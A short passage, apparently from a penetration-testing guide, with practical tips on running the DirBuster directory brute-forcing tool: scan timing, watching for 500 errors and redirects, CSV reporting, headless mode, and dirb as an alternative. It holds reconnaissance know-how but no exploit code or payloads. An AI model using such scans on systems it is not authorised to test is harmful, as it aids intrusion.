It’s worth starting DirBuster relatively early on in the test because it can take a while to complete, and obviously you want some time left over to explore anything interesting it finds. Keep an eye on the results while it’s running to make sure you’re getting something sensible – and that you’re not causing a slew of 500 errors. Version 1.0 RC1 will pause automatically after 20 consecutive errors but that’s client-side errors, not 500 responses. Equally if you’re getting mostly redirects, try to alter your parameters or, as a last resort, enable the “Follow Redirects” option.

Despite – or because of – your efforts to optimise your scan, you can often get a large number of hits. On the reporting side, the CSV option is useful because you get the Location, Response Code and Content Length on one line so you can quickly begin to process this and weed out the cruft.

Finally, note that you can invoke a command line interface by running DirBuster in headless mode. Check out the options with java -jar <DirBuster_jar_file> -h. The parameters don’t comprehensively match the GUI options, though, so if you need a command-line scanner of this type and DirBuster isn’t up to the job, try dirb (on Kali).